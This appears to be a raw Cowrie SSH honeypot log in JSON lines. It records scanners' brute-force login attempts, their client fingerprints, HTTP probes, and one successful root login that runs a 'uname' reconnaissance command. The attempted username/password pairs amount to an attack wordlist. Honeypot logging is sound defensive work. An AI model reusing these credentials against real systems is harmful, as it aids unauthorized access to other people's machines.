{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:18.024607Z","src_ip":"152.32.129.186","session":"7036e1f586e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"kk","message":"login attempt [k/kk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:18.922194Z","src_ip":"152.32.129.186","session":"7036e1f586e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:20.140186Z","src_ip":"152.32.129.186","session":"7036e1f586e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":34388,"dst_ip":"10.17.0.5","dst_port":22,"session":"2176b180ac13","protocol":"ssh","message":"New connection: 45.79.127.249:34388 (10.17.0.5:22) [session: 2176b180ac13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:33.254140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:33.258490Z","src_ip":"45.79.127.249","session":"2176b180ac13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:33.458274Z","src_ip":"45.79.127.249","session":"2176b180ac13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pair","password":"pair2018!","message":"login attempt [pair/pair2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:33.860627Z","src_ip":"45.79.127.249","session":"2176b180ac13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:35.062613Z","src_ip":"45.79.127.249","session":"2176b180ac13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":50988,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e68d829a371","protocol":"ssh","message":"New connection: 172.105.63.214:50988 (10.17.0.5:22) [session: 7e68d829a371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:45.005136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:45.009567Z","src_ip":"172.105.63.214","session":"7e68d829a371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:45.199200Z","src_ip":"172.105.63.214","session":"7e68d829a371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xaut","password":"xaut2018","message":"login attempt [xaut/xaut2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:45.580870Z","src_ip":"172.105.63.214","session":"7e68d829a371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:46.772495Z","src_ip":"172.105.63.214","session":"7e68d829a371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35062,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b4297923fe","protocol":"ssh","message":"New connection: 195.178.110.218:35062 (10.17.0.5:22) [session: 06b4297923fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:56.863634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:56.867664Z","src_ip":"195.178.110.218","session":"06b4297923fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:56.942551Z","src_ip":"195.178.110.218","session":"06b4297923fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:57.166971Z","src_ip":"195.178.110.218","session":"06b4297923fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:58.245035Z","src_ip":"195.178.110.218","session":"06b4297923fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":39936,"dst_ip":"10.17.0.5","dst_port":22,"session":"4304386d4a28","protocol":"ssh","message":"New connection: 103.13.206.100:39936 (10.17.0.5:22) [session: 4304386d4a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:15:45.956867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:15:45.961356Z","src_ip":"103.13.206.100","session":"4304386d4a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:15:46.192486Z","src_ip":"103.13.206.100","session":"4304386d4a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:15:47.152966Z","src_ip":"103.13.206.100","session":"4304386d4a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:15:48.386276Z","src_ip":"103.13.206.100","session":"4304386d4a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.51.26","src_port":43274,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4d13bd5364","protocol":"ssh","message":"New connection: 143.198.51.26:43274 (159.203.135.109:22) [session: 7d4d13bd5364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.404715Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.419030Z","src_ip":"143.198.51.26","session":"7d4d13bd5364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.423734Z","src_ip":"143.198.51.26","session":"7d4d13bd5364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.51.26","src_port":43286,"dst_ip":"159.203.135.109","dst_port":22,"session":"519bd22d3ca2","protocol":"ssh","message":"New connection: 143.198.51.26:43286 (159.203.135.109:22) [session: 519bd22d3ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.572636Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.618174Z","src_ip":"143.198.51.26","session":"519bd22d3ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:10.624744Z","src_ip":"143.198.51.26","session":"519bd22d3ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36190,"dst_ip":"10.17.0.5","dst_port":22,"session":"714eec47c046","protocol":"ssh","message":"New connection: 195.178.110.218:36190 (10.17.0.5:22) [session: 714eec47c046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:34.149604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:34.154360Z","src_ip":"195.178.110.218","session":"714eec47c046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:34.229700Z","src_ip":"195.178.110.218","session":"714eec47c046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:34.454918Z","src_ip":"195.178.110.218","session":"714eec47c046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:35.532534Z","src_ip":"195.178.110.218","session":"714eec47c046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b2b17244d3","protocol":"ssh","message":"New connection: 162.120.6.20:56922 (159.203.135.109:22) [session: f7b2b17244d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.241248Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.313210Z","src_ip":"162.120.6.20","session":"f7b2b17244d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56934,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffac26b184ee","protocol":"ssh","message":"New connection: 162.120.6.20:56934 (159.203.135.109:22) [session: ffac26b184ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.380116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.384561Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.454264Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWE@asd123.","message":"login attempt [root/QWE@asd123.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.665358Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.844861Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.847514Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.919963Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:17:37.924905Z","src_ip":"162.120.6.20","session":"ffac26b184ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":54972,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f54960f66b3","protocol":"ssh","message":"New connection: 152.32.129.186:54972 (10.17.0.5:22) [session: 8f54960f66b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:03.093006Z"}
